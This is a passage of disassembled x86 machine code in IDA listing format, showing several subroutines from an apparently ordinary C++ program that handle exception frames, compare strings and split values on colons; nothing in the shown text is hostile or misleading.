[esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jz loc_413D63 add ebp, 54h loc_413CC0: ; CODE XREF: sub_413C40+11Dj push 15h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov dword ptr [esp+4Ch+var_3C], eax cmp eax, ebx mov byte ptr [esp+4Ch], 2 jz short loc_413CE0 mov ecx, eax call sub_401F4B jmp short loc_413CE2 ; --------------------------------------------------------------------------- loc_413CE0: ; CODE XREF: sub_413C40+95j xor eax, eax loc_413CE2: ; CODE XREF: sub_413C40+9Ej push offset asc_444C64 ; ":" lea ecx, [esp+50h+var_20] push esi push ecx lea ecx, [esp+58h+arg_4] mov [esp+58h], bl mov [esp+58h+arg_1C], eax call sub_4016B8 mov ecx, [esp+4Ch+arg_1C] push eax mov byte ptr [esp+50h], 3 call sub_40202C lea ecx, [esp+4Ch+var_20] mov [esp+4Ch], bl call sub_401226 lea edx, [esp+4Ch+arg_1C] mov ecx, ebp push edx call sub_401488 ; --------------------------------------------------------------------------- inc esi push offset asc_444C64 ; ":" lea eax, [esp+54h+var_3C] push esi push eax lea ecx, [esp+5Ch+arg_0] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jnz loc_413CC0 loc_413D63: ; CODE XREF: sub_413C40+77j lea ecx, [esp+50h+arg_0] mov [esp+50h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn 1Ch ; --------------------------------------------------------------------------- loc_413D89: ; CODE XREF: sub_413C40+26j ; sub_413C40+37j lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+48h+var_C] pop ebp pop ebx mov large fs:0, ecx add esp, 40h retn 1Ch sub_413C40 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E10 proc near ; CODE XREF: sub_401F4Bj push esi mov esi, ecx call sub_40142E mov eax, esi pop esi retn sub_413E10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_413E30: ; CODE XREF: ___:004010F0j mov eax, [esp+8] mov edx, [esp+4] push esi push eax mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+28h], esp push edx call sub_401870 mov ecx, esi call sub_401181 pop esi retn 8 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E70 proc near ; CODE XREF: sub_4018ACj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_18 = byte ptr 1Ch arg_2C = byte ptr 30h arg_30 = byte ptr 34h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_5C = byte ptr 60h arg_60 = byte ptr 64h push 0FFFFFFFFh push offset SEH_413E70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push ebp push esi push edi mov ebp, ecx sub esp, 18h lea eax, [esp+3Ch+arg_30] mov ecx, esp mov [esp+3Ch+var_14], esp push eax mov [esp+40h+var_4], 4 call sub_4014D3 mov ecx, ebp call sub_401CE4 xor ebx, ebx cmp eax, ebx jnz loc_41405E sub esp, 18h lea edx, [esp+3Ch+arg_0] mov ecx, esp mov [esp+3Ch+var_14], esp push edx call sub_4014D3 mov ecx, ebp call sub_402130 mov edi, eax cmp edi, ebx jz loc_41405E push edi lea eax, [esp+28h+arg_18] sub esp, 18h mov ecx, esp mov [esp+40h+var_14], esp push eax call sub_4014D3 mov ecx, ebp call sub_4011DB cmp al, bl jz loc_41405E push offset byte_448F30 lea ecx, [esp+28h+arg_48] call sub_4012EE test eax, eax jz short loc_413F57 lea ecx, [edi+2Ah] call sub_4017EE lea ecx, [esp+24h+arg_48] mov esi, eax call sub_4017EE loc_413F26: ; CODE XREF: sub_413E70+D4j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413F4A cmp cl, bl jz short loc_413F46 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413F4A add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413F26 loc_413F46: ; CODE XREF: sub_413E70+C0j xor eax, eax jmp short loc_413F4F ; --------------------------------------------------------------------------- loc_413F4A: ; CODE XREF: sub_413E70+BCj ; sub_413E70+CAj sbb eax, eax sbb eax, 0FFFFFFFFh loc_413F4F: ; CODE XREF: sub_413E70+D8j cmp eax, ebx jnz loc_41405E loc_413F57: ; CODE XREF: sub_413E70+A1j push offset byte_448F30 lea ecx, [esp+28h+arg_60] call sub_4012EE test eax, eax jz short loc_413FB3 lea ecx, [edi+3Fh] call sub_4017EE lea ecx, [esp+24h+arg_60] mov esi, eax call sub_4017EE loc_413F82: ; CODE XREF: sub_413E70+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413FA6 cmp cl, bl jz short loc_413FA2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413FA6 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413F82 loc_413FA2: ; CODE XREF: sub_413E70+11Cj xor eax, eax jmp short loc_413FAB ; --------------------------------------------------------------------------- loc_413FA6: ; CODE XREF: sub_413E70+118j ; sub_413E70+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_413FAB: ; CODE XREF: sub_413E70+134j cmp eax, ebx jnz loc_41405E loc_413FB3: ; CODE XREF: sub_413E70+FAj push 58h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+24h+var_10], eax cmp eax, ebx mov byte ptr [esp+24h+var_4], 5 jz short loc_413FD3 mov ecx, eax call sub_401D1B jmp short loc_413FD5 ; --------------------------------------------------------------------------- loc_413FD3: ; CODE XREF: sub_413E70+158j xor eax, eax loc_413FD5: ; CODE XREF: sub_413E70+161j mov [esp+24h+var_14], eax mov [eax], edi mov ecx, [esp+24h+var_14] lea eax, [esp+24h+arg_0] push eax add ecx, 4 mov byte ptr [esp+28h+var_4], 4 call sub_40202C mov eax, [esp+24h+var_14] lea edx, [esp+24h+arg_30] push edx lea ecx, [eax+19h] call sub_40202C lea ecx, [esp+24h+var_14] push ecx lea ecx, [ebp+6Ch] call sub_401410 ; --------------------------------------------------------------------------- lea ecx, [esp+28h] mov byte ptr [esp+28h+var_8], 3 call sub_401226 lea ecx, [esp+28h+arg_14] mov byte ptr [esp+28h+var_8], 2 call sub_401226 lea ecx, [esp+28h+arg_2C] mov byte ptr [esp+28h+var_8], 1 call sub_401226 lea ecx, [esp+28h+arg_44] mov byte ptr [esp+28h+var_8], bl call sub_401226 lea ecx, [esp+28h+arg_5C] mov [esp+28h+var_8], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_4140AB ; --------------------------------------------------------------------------- loc_41405E: ; CODE XREF: sub_413E70+44j ; sub_413E70+68j ... lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 3 call sub_401226 lea ecx, [esp+24h+arg_18] mov byte ptr [esp+24h+var_4], 2 call sub_401226 lea ecx, [esp+24h+arg_30] mov byte ptr [esp+24h+var_4], 1 call sub_401226 lea ecx, [esp+24h+arg_48] mov byte ptr [esp+24h+var_4], bl call sub_401226 lea ecx, [esp+24h+arg_60] mov [esp+24h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_4140AB: ; CODE XREF: sub_413E70+1ECj mov ecx, [esp+24h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 14h retn 78h sub_413E70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414160 proc near ; CODE XREF: sub_401D1Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414160 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_414160 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4141F0: ; CODE XREF: ___:00401DD9j push 0FFFFFFFFh push offset loc_43AF10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+24h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+3Ch] sub esp, 18h mov ecx, esp mov [esp+58h], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov eax, [esp+50h] sub esp, 18h mov ecx, esp mov [esp+6Ch], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401870 mov edx, [esp+64h] sub esp, 18h mov ecx, esp mov [esp+80h], esp push edx mov byte ptr [esp+74h], 2 call sub_401870 mov eax, [esp+78h] sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax mov byte ptr [esp+8Ch], 3 call sub_401870 mov ecx, esi mov dword ptr [esp+88h], 0FFFFFFFFh call sub_4018AC mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 14h ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4142E0 proc near ; CODE XREF: sub_401541j add ecx, 6Ch jmp sub_401C76 sub_4142E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414300 proc near ; CODE XREF: sub_40137Fj var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414300 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push 60h mov [esp+1Ch+var_4], 3 call sub_437AEA sub_414300 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 4 jz short loc_414343 mov ecx, eax call sub_401BF4 ; --------------------------------------------------------------------------- jmp short loc_414345 ; --------------------------------------------------------------------------- loc_414343: ; CODE XREF: ___:00414338j xor eax, eax loc_414345: ; CODE XREF: ___:00414341j lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 3 push ecx mov ecx, eax mov [esp+8], eax call sub_40202C mov eax, [esp+4] lea edx, [esp+34h] push edx lea ecx, [eax+15h] call sub_40202C mov edx, [esp+4] lea ecx, [esp+4Ch] push ecx lea ecx, [edx+2Ah] call sub_40202C mov ecx, [esp+4] lea eax, [esp+64h] push eax add ecx, 3Fh call sub_40202C lea edx, [esp+4] lea ecx, [esi+60h] push edx call sub_401F0F ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 2 call sub_401226 lea ecx, [esp+34h] mov byte ptr [esp+14h], 1 call sub_401226 lea ecx, [esp+4Ch] mov byte ptr [esp+14h], 0 call sub_401226 lea ecx, [esp+64h] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0Ch] pop esi mov large fs:0, ecx add esp, 14h retn 60h ; --------------------------------------------------------------------------- db 9 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414430 proc near ; CODE XREF: sub_401BF4j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+18h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+18h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+18h+var_4], 2 call sub_40142E lea eax, [esp+18h+var_11] lea ecx, [esi+54h] push eax mov byte ptr [esp+1Ch+var_4], 3 call sub_40132A sub_414430 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4144D0: ; CODE XREF: ___:004010FAj push 0FFFFFFFFh push offset loc_43AFD8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+20h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+38h] sub esp, 18h mov ecx, esp mov [esp+54h], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov eax, [esp+4Ch] sub esp, 18h mov ecx, esp mov [esp+68h], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401870 mov edx, [esp+60h] sub esp, 18h mov ecx, esp mov [esp+7Ch], esp push edx mov byte ptr [esp+74h], 2 call sub_401870 mov ecx, esi mov dword ptr [esp+70h], 0FFFFFFFFh call sub_40137F ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 10h ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4145A0 proc near ; CODE XREF: sub_401DC0j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4145A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi lea ecx, [esp+18h+var_14] mov [esp+18h+var_4], 0 mov [esp+18h+var_10], 0 call sub_401E38 mov eax, [esp+18h+arg_18] lea ecx, [esp+18h+arg_18] push ecx lea esi, [eax+54h] mov ecx, esi call sub_4012E9 mov edx, [eax] lea eax, [esp+18h+arg_18] push eax mov ecx, esi mov [esp+1Ch+var_14], edx call sub_401D9D push eax lea ecx, [esp+1Ch+var_14] call sub_401D70 test al, al jz short loc_414650 loc_414605: ; CODE XREF: sub_4145A0+AEj lea ecx, [esp+18h+arg_0] push ecx lea ecx, [esp+1Ch+var_14] call sub_401FC3 mov ecx, [eax] call sub_401B86 test eax, eax jnz short loc_41462D lea ecx, [esp+18h+var_14] call sub_401FC3 mov edx, [eax] mov [esp+18h+var_10], edx loc_41462D: ; CODE XREF: sub_4145A0+7Cj lea ecx, [esp+18h+var_14] call sub_4020C2 lea eax, [esp+18h+arg_18] mov ecx, esi push eax call sub_401D9D push eax lea ecx, [esp+1Ch+var_14] call sub_401D70 test al, al jnz short loc_414605 loc_414650: ; CODE XREF: sub_4145A0+63j mov eax, [esp+18h+var_10] test eax, eax jz short loc_414698 lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_401258 mov ecx, [esp+18h+var_10] test ecx, ecx jz short loc_414673 push 1 call sub_4019EC loc_414673: ; CODE XREF: sub_4145A0+CAj lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 1Ch ; --------------------------------------------------------------------------- loc_414698: ; CODE XREF: sub_4145A0+B6j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 14h retn 1Ch sub_4145A0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414710 proc near ; CODE XREF: sub_4019ECj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402243 test [esp+4+arg_0], 1 jz short loc_414728 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414728: ; CODE XREF: sub_414710+Dj mov eax, esi pop esi retn 4 sub_414710 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_414740 proc near ; CODE XREF: sub_402243j jmp sub_401226 sub_414740 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_414760: ; CODE XREF: ___:00401276j push 0FFFFFFFFh push offset loc_43B020 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi push edi mov ebp, ecx xor ebx, ebx push offset asc_444C64 ; ":" lea eax, [esp+1Ch] push ebx push eax lea ecx, [esp+4Ch] mov [esp+44h], ebx mov byte ptr [esp+1Fh], 1 xor esi, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jz short loc_414829 loc_4147C3: ; CODE XREF: ___:00414827j mov ecx, [esp+58h] push ecx lea ecx, [esp+44h] sub esp, 18h mov edx, esp mov [esp+30h], esp push offset asc_444C64 ; ":" push esi push edx call sub_4016B8 mov ecx, ebp call sub_401DC0 cmp al, bl jnz short loc_4147F0 mov [esp+13h], bl loc_4147F0: ; CODE XREF: ___:004147EAj inc esi push offset asc_444C64 ; ":" lea eax, [esp+1Ch] push esi push eax lea ecx, [esp+4Ch] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jnz short loc_4147C3 loc_414829: ; CODE XREF: ___:004147C1j lea ecx, [esp+40h] mov dword ptr [esp+38h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+30h] mov al, [esp+13h] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 2Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4148A0 proc near ; CODE XREF: sub_40212Bj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4148A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 1 call sub_4017EE test eax, eax jz loc_4149D4 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_402275 add esi, 6Ch lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_401901 mov ecx, [eax] lea edx, [esp+1Ch+var_10] mov [esp+1Ch+var_18], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jz short loc_41497E loc_414914: ; CODE XREF: sub_4148A0+DCj lea eax, [esp+1Ch+arg_0] lea ecx, [esp+1Ch+var_18] push eax call sub_40135C mov ecx, [eax] add ecx, 4 call sub_401B86 test eax, eax jz short loc_41494C lea ecx, [esp+1Ch+arg_18] push ecx lea ecx, [esp+20h+var_18] call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B86 test eax, eax jnz short loc_41495B loc_41494C: ; CODE XREF: sub_4148A0+8Ej lea ecx, [esp+1Ch+var_18] call sub_40135C mov edx, [eax] mov [esp+1Ch+var_14], edx loc_41495B: ; CODE XREF: sub_4148A0+AAj lea ecx, [esp+1Ch+var_18] call sub_40118B lea eax, [esp+1Ch+var_10] mov ecx, esi push eax call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jnz short loc_414914 loc_41497E: ; CODE XREF: sub_4148A0+72j mov eax, [esp+1Ch+var_14] test eax, eax jz short loc_4149D4 lea ecx, [esp+1Ch+var_14] push ecx mov ecx, esi call sub_40214E mov ecx, [esp+1Ch+var_14] test ecx, ecx jz short loc_4149A1 push 1 call sub_401708 loc_4149A1: ; CODE XREF: sub_4148A0+F8j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+18h+var_C] mov large fs:0, ecx add esp, 18h retn 30h ; --------------------------------------------------------------------------- loc_4149D4: ; CODE XREF: sub_4148A0+2Ej ; sub_4148A0+E4j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 30h sub_4148A0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414A70 proc near ; CODE XREF: sub_401708j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A6E test [esp+4+arg_0], 1 jz short loc_414A88 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414A88: ; CODE XREF: sub_414A70+Dj mov eax, esi pop esi retn 4 sub_414A70 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414AA0 proc near ; CODE XREF: sub_401A6Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414AA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+43h] mov [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_414AA0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414B30: ; CODE XREF: ___:004013B1j push 0FFFFFFFFh push offset loc_43B098 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40212B mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414BC0: ; CODE XREF: ___:00401B45j push 0FFFFFFFFh push offset loc_43B0B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+20h] mov dword ptr [esp+18h], 0 call sub_4017EE test eax, eax jz loc_414CC7 lea ecx, [esp+4] mov dword ptr [esp+8], 0 call sub_401037 add esi, 60h lea eax, [esp+0Ch] push eax mov ecx, esi call sub_401992 mov ecx, [eax] lea edx, [esp+0Ch] mov [esp+4], ecx push edx mov ecx, esi call sub_402257 push eax lea ecx, [esp+8] call sub_401AEB test al, al jz short loc_414C7F loc_414C34: ; CODE XREF: ___:00414C7Dj lea eax, [esp+20h] lea ecx, [esp+4] push eax call sub_4011D1 mov ecx, [eax] call sub_401B86 test eax, eax jnz short loc_414C5C lea ecx, [esp+4] call sub_4011D1 mov ecx, [eax] mov [esp+8], ecx loc_414C5C: ; CODE XREF: ___:00414C4Bj lea ecx, [esp+4] call sub_4018C5 lea edx, [esp+0Ch] mov ecx, esi push edx call sub_402257 push eax lea ecx, [esp+8] call sub_401AEB test al, al jnz short loc_414C34 loc_414C7F: ; CODE XREF: ___:00414C32j mov eax, [esp+8] test eax, eax jz short loc_414CC7 lea eax, [esp+8] mov ecx, esi push eax call sub_401154 mov ecx, [esp+8] test ecx, ecx jz short loc_414CA2 push 1 call sub_4011C7 ; --------------------------------------------------------------------------- loc_414CA2: ; CODE XREF: ___:00414C99j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+0Ch] mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_414CC7: ; CODE XREF: ___:00414BEEj ; ___:00414C85j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+10h] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414D40 proc near ; CODE XREF: sub_4011C7j push esi mov esi, ecx call sub_401B59 sub_414D40 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_414D58 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414D58: ; CODE XREF: ___:00414D4Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414D70 proc near ; CODE XREF: sub_401B59j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414D70 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+54h] mov [esp+14h+var_4], 3 call sub_401582 sub_414D70 endp ; --------------------------------------------------------------------------- lea ecx, [esi+3Fh] mov byte ptr [esp+10h], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414E10 proc near ; CODE XREF: sub_4014C9j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_414E10 push eax mov large fs:0, esp sub esp, 40h push ebx push esi mov esi, [esp+54h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414F0B sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+70h+arg_0], esp push eax call sub_4014D3 sub esp, 18h mov [esp+88h+var_4], 0 mov ecx, esp mov [esp+88h+var_4C], esp push offset byte_448F30 call sub_401870 or ebx, 0FFFFFFFFh mov ecx, offset word_44AC5E mov [esp+88h+var_4], ebx call sub_40212B test al, al jz loc_415040 push 0 push 5 push 19h push 2 push 4 push 0Fh push 0Fh lea ecx, [esp+74h+var_3C] push 21h push ecx call sub_4019C4 add esp, 24h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 1 call sub_4014DD push eax mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+58h+var_3C] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414F0B: ; CODE XREF: sub_414E10+36j lea ecx, [edi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_415040 sub esp, 18h lea edx, [esi+54h] mov ecx, esp mov [esp+70h+arg_0], esp push edx call sub_4014D3 sub esp, 18h lea eax, [esi+3Fh] mov ecx, esp mov [esp+88h+var_4C], esp push eax mov [esp+8Ch+var_4], 2 call sub_4014D3 sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0A0h+var_48], esp push edx mov byte ptr [esp+0A4h+var_4], 3 call sub_4014D3 sub esp, 18h mov ecx, esi mov eax, esp mov [esp+0B8h+var_44], esp push 1 push offset asc_444600 ; " " push 2 push eax mov byte ptr [esp+0C8h+var_4], 4 call sub_4011EA sub esp, 18h mov byte ptr [esp+0D0h+var_4], 5 mov ecx, esp mov [esp+0D0h+var_40], esp push 1 push offset asc_444600 ; " " push 1 push ecx mov ecx, esi call sub_4011EA or ebx, 0FFFFFFFFh mov ecx, offset word_44AC5E mov [esp+0D0h+var_4], ebx call sub_4018AC test al, al jz short loc_415040 push 0 push 4 push 5 push 14h push 10h push 5 push 3 push 3 lea edx, [esp+78h+var_24] push 1Bh push edx call sub_4019C4 add esp, 28h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 6 call sub_4014DD push eax mov ecx, edi call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push 